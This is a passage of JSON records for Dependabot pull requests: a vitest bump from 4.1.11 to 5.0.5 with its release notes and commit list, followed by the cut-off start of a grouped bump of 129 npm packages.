5.0.5","user":"dependabot[bot]","labels":["dependencies"],"assignees":[],"locked":false,"comments_count":2,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-10-23T13:19:11.000Z","updated_at":"2026-10-23T13:19:16.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps-dev)","packages":[{"name":"vitest","old_version":"4.1.11","new_version":"5.0.5","repository_url":"https://github.com/vitest-dev/vitest"}],"path":null,"ecosystem":"npm"},"body":"Bumps [vitest](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest) from 4.1.11 to 5.0.5.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitest-dev/vitest/releases\"\u003evitest's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev5.0.5\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKeep vite default \u003ccode\u003efs.deny\u003c/code\u003e with api token file  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11578\"\u003evitest-dev/vitest#11578\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/28dc1edfb\"\u003e\u003c!-- raw HTML omitted --\u003e(28dc1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHandle quoted file names in \u003ccode\u003e--changed\u003c/code\u003e  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11583\"\u003evitest-dev/vitest#11583\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/14921e962\"\u003e\u003c!-- raw HTML omitted --\u003e(14921)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003edata\u003c/code\u003e to the \u003ccode\u003eimport.meta.hot\u003c/code\u003e stub  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11590\"\u003evitest-dev/vitest#11590\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/3a8289ac3\"\u003e\u003c!-- raw HTML omitted --\u003e(3a828)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSet \u003ccode\u003eskip\u003c/code\u003e in \u003ccode\u003eskipIf\u003c/code\u003e, ignore \u003ccode\u003eundefined\u003c/code\u003e options  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11591\"\u003evitest-dev/vitest#11591\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/d523a15f2\"\u003e\u003c!-- raw HTML omitted --\u003e(d523a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSkip builtin loading in async leak detector  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11598\"\u003evitest-dev/vitest#11598\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/fe86a64c6\"\u003e\u003c!-- raw HTML omitted --\u003e(fe86a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep the import frame in native loader errors  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11599\"\u003evitest-dev/vitest#11599\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/9697b3894\"\u003e\u003c!-- raw HTML omitted --\u003e(9697b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun hook cleanups when a later hook fails  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11605\"\u003evitest-dev/vitest#11605\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6c5a44720\"\u003e\u003c!-- raw HTML omitted --\u003e(6c5a4)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRelease mocks of finished test files  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11607\"\u003evitest-dev/vitest#11607\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/e9c3d72f0\"\u003e\u003c!-- raw HTML omitted --\u003e(e9c3d)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAbort all running tests on cancel  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11606\"\u003evitest-dev/vitest#11606\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6621a72d6\"\u003e\u003c!-- raw HTML omitted --\u003e(6621a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eIgnore synthetic pagehide events  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11582\"\u003evitest-dev/vitest#11582\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ca0813584\"\u003e\u003c!-- raw HTML omitted --\u003e(ca081)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun plugin buildStart on server creation  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11593\"\u003evitest-dev/vitest#11593\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ea611e44c\"\u003e\u003c!-- raw HTML omitted --\u003e(ea611)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDrop late connections of closed sessions  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11600\"\u003evitest-dev/vitest#11600\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/f161e6df2\"\u003e\u003c!-- raw HTML omitted --\u003e(f161e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWait 30s for the browser to close  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11601\"\u003evitest-dev/vitest#11601\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6498b666a\"\u003e\u003c!-- raw HTML omitted --\u003e(6498b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun global setup once with instances  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11596\"\u003evitest-dev/vitest#11596\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/8dd67c262\"\u003e\u003c!-- raw HTML omitted --\u003e(8dd67)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ereporter\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eEnd reason \u003ccode\u003e\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/39);failed\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/39);\u003c/code\u003e on worker crash  -  by \u003ca href=\"https://github.com/AriPerkkio\"\u003e\u003ccode\u003e@​AriPerkkio\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11568\"\u003evitest-dev/vitest#11568\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6ae8e89ff\"\u003e\u003c!-- raw HTML omitted --\u003e(6ae8e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v5.0.4...v5.0.5\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003ch2\u003ev5.0.4\u003c/h2\u003e\n\u003ch3\u003e   🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eexperimental\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eTag cache directories with CACHEDIR.TAG  -  by \u003ca href=\"https://github.com/lifeiscontent\"\u003e\u003ccode\u003e@​lifeiscontent\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11461\"\u003evitest-dev/vitest#11461\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/a8ea3c8fd\"\u003e\u003c!-- raw HTML omitted --\u003e(a8ea3)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSupport \u003ccode\u003etest.ui.theme\u003c/code\u003e option  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11499\"\u003evitest-dev/vitest#11499\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/1da66405d\"\u003e\u003c!-- raw HTML omitted --\u003e(1da66)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHighlight selector multiple matches in trace view  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11489\"\u003evitest-dev/vitest#11489\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/5abba1e1b\"\u003e\u003c!-- raw HTML omitted --\u003e(5abba)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ePrint how many tests were affected and a total when running \u003ccode\u003e--changed\u003c/code\u003e  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11424\"\u003evitest-dev/vitest#11424\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/a23368585\"\u003e\u003c!-- raw HTML omitted --\u003e(a2336)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd an option to cache dependencies instead of statically parsing them  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11515\"\u003evitest-dev/vitest#11515\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/c06012ac8\"\u003e\u003c!-- raw HTML omitted --\u003e(c0601)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd fit and zoom controls to trace viewer  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11490\"\u003evitest-dev/vitest#11490\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/f5dd99ed0\"\u003e\u003c!-- raw HTML omitted --\u003e(f5dd9)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFail the run on git and location filter errors  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11430\"\u003evitest-dev/vitest#11430\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/30d0304d2\"\u003e\u003c!-- raw HTML omitted --\u003e(30d03)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eEnable fsModuleCache by default  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11435\"\u003evitest-dev/vitest#11435\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ad208cc29\"\u003e\u003c!-- raw HTML omitted --\u003e(ad208)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eTrack project files and mocks with --changed  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11432\"\u003evitest-dev/vitest#11432\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/b0f2b3bb9\"\u003e\u003c!-- raw HTML omitted --\u003e(b0f2b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRefactor caching, fix \u003ccode\u003e:\u003c/code\u003e in project and change the shape of \u003ccode\u003eresults\u003c/code\u003e cache  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11453\"\u003evitest-dev/vitest#11453\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/9673c49a4\"\u003e\u003c!-- raw HTML omitted --\u003e(9673c)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep full \u003ccode\u003e$\u003c/code\u003e string values when \u003ccode\u003etaskTitleValueFormatTruncate\u003c/code\u003e is 0  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11485\"\u003evitest-dev/vitest#11485\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/4f7e1799b\"\u003e\u003c!-- raw HTML omitted --\u003e(4f7e1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eResolve node builtins in client environments  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11417\"\u003evitest-dev/vitest#11417\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/56b319ac6\"\u003e\u003c!-- raw HTML omitted --\u003e(56b31)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix module graph builtin externals after \u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11421\"\u003e#11421\u003c/a\u003e  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11491\"\u003evitest-dev/vitest#11491\u003c/a\u003e and \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11421\"\u003evitest-dev/vitest#11421\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/008e184cb\"\u003e\u003c!-- raw HTML omitted --\u003e(008e1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWrap module mocks during in-source testing  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11505\"\u003evitest-dev/vitest#11505\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/36d19cb00\"\u003e\u003c!-- raw HTML omitted --\u003e(36d19)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHandle line endings in snapshot  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11522\"\u003evitest-dev/vitest#11522\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/4c468aa40\"\u003e\u003c!-- raw HTML omitted --\u003e(4c468)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRespect root in projects  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11521\"\u003evitest-dev/vitest#11521\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/26642f793\"\u003e\u003c!-- raw HTML omitted --\u003e(26642)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eResolve mocks in directories with spaces  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11539\"\u003evitest-dev/vitest#11539\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/caaef9416\"\u003e\u003c!-- raw HTML omitted --\u003e(caaef)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eapi\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003ePublish the api token atomically  -  by \u003ca href=\"https://github.com/umairnawaz333\"\u003e\u003ccode\u003e@​umairnawaz333\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11323\"\u003evitest-dev/vitest#11323\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6f990fef1\"\u003e\u003c!-- raw HTML omitted --\u003e(6f990)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/7a825db43e2beca0b219d2eadaec334cb81af0c7\"\u003e\u003ccode\u003e7a825db\u003c/code\u003e\u003c/a\u003e chore: release v5.0.5 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11609\"\u003e#11609\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6621a72d6ed371e43f80ff327f5063693bd6b1ad\"\u003e\u003ccode\u003e6621a72\u003c/code\u003e\u003c/a\u003e fix: abort all running tests on cancel (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11606\"\u003e#11606\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/e9c3d72f0c8d6867de06a3df43ea28a05eeec444\"\u003e\u003ccode\u003ee9c3d72\u003c/code\u003e\u003c/a\u003e fix: release mocks of finished test files (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11607\"\u003e#11607\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/8dd67c2625943d824e257b87ae57a14094e90eed\"\u003e\u003ccode\u003e8dd67c2\u003c/code\u003e\u003c/a\u003e fix(browser): run global setup once with instances (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11596\"\u003e#11596\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6c5a447203a29a0708fbc5de4fb91ea501bdc395\"\u003e\u003ccode\u003e6c5a447\u003c/code\u003e\u003c/a\u003e fix: run hook cleanups when a later hook fails (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11605\"\u003e#11605\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/9697b3894f456b85db91f3824ebe833449305c04\"\u003e\u003ccode\u003e9697b38\u003c/code\u003e\u003c/a\u003e fix: keep the import frame in native loader errors (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11599\"\u003e#11599\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6498b666a3ae8961f6f2a8abdc89015b6fd0b3aa\"\u003e\u003ccode\u003e6498b66\u003c/code\u003e\u003c/a\u003e fix(browser): wait 30s for the browser to close (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11601\"\u003e#11601\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/f161e6df2b3c0bc84982d374094379139e380791\"\u003e\u003ccode\u003ef161e6d\u003c/code\u003e\u003c/a\u003e fix(browser): drop late connections of closed sessions (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11600\"\u003e#11600\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/fe86a64c6c6aa75481bffe5880b5c4e35ea67927\"\u003e\u003ccode\u003efe86a64\u003c/code\u003e\u003c/a\u003e fix: skip builtin loading in async leak detector (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11598\"\u003e#11598\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6ae8e89ff0734cf476e30186a83aebe6771aa330\"\u003e\u003ccode\u003e6ae8e89\u003c/code\u003e\u003c/a\u003e fix(reporter): end reason \u003ccode\u003e'failed'\u003c/code\u003e on worker crash (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11568\"\u003e#11568\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/vitest-dev/vitest/commits/v5.0.5/packages/vitest\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=vitest\u0026package-manager=npm_and_yarn\u0026previous-version=4.1.11\u0026new-version=5.0.5)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/mvnulman/quote-generator-react/pull/47","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/mvnulman%2Fquote-generator-react/issues/47","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/47/packages"},{"uuid":"5998203118","node_id":"PR_kwDOTxDHNM8AAAABKQQwKg","number":38,"state":"open","title":"Bump the npm-minor-patch group across 1 directory with 129 updates","user":"dependabot[bot]","labels":[],"assignees":[],"locked":false,"comments_count":2,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-10-23T12:59:31.000Z","updated_at":"2026-10-23T13:01:00.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","group_name":"npm-minor-patch","update_count":129,"packages":[{"name":"turbo","old_version":"2.10.8","new_version":"2.11.9","repository_url":"https://github.com/vercel/turborepo"},{"name":"@anthropic-ai/sdk","old_version":"0.115.0","new_version":"0.135.0","repository_url":"https://github.com/anthropics/anthropic-sdk-typescript"},{"name":"@aws-sdk/client-kms","old_version":"3.1146.0","new_version":"3.1153.0","repository_url":"https://github.com/aws/aws-sdk-js-v3"},{"name":"@aws-sdk/client-s3","old_version":"3.1146.0","new_version":"3.1153.0","repository_url":"https://github.com/aws/aws-sdk-js-v3"},{"name":"@aws-sdk/client-sesv2","old_version":"3.1146.0","new_version":"3.1153.0","repository_url":"https://github.com/aws/aws-sdk-js-v3"},{"name":"@better-auth/drizzle-adapter","old_version":"1.6.26","new_version":"1.7.12","repository_url":"https://github.com/better-auth/better-auth"},{"name":"better-auth","old_version":"1.6.26","new_version":"1.7.12","repository_url":"https://github.com/better-auth/better-auth"},{"name":"drizzle-orm","old_version":"0.45.2","new_version":"0.45.4","repository_url":"https://github.com/drizzle-team/drizzle-orm"},{"name":"pg","old_version":"8.22.0","new_version":"8.23.1","repository_url":"https://github.com/brianc/node-postgres"},{"name":"@types/pg","old_version":"8.20.4","new_version":"8.23.1","repository_url":"https://github.com/DefinitelyTyped/DefinitelyTyped"},{"name":"react","old_version":"19.2.8","new_version":"19.3.1","repository_url":"https://github.com/react/react"},{"name":"@types/react","old_version":"19.2.18","new_version":"19.3.0","repository_url":"https://github.com/DefinitelyTyped/DefinitelyTyped"},{"name":"react-dom","old_version":"19.2.8","new_version":"19.3.1","repository_url":"https://github.com/react/react"},{"name":"@types/react-dom","old_version":"19.2.4","new_version":"19.3.0","repository_url":"https://github.com/DefinitelyTyped/DefinitelyTyped"},{"name":"resend","old_version":"6.26.0","new_version":"6.34.1","repository_url":"https://github.com/resend/resend-node"},{"name":"stripe","old_version":"22.6.1","new_version":"22.6.2","repository_url":"https://github.com/stripe/stripe-node"},{"name":"tsx","old_version":"4.23.12","new_vers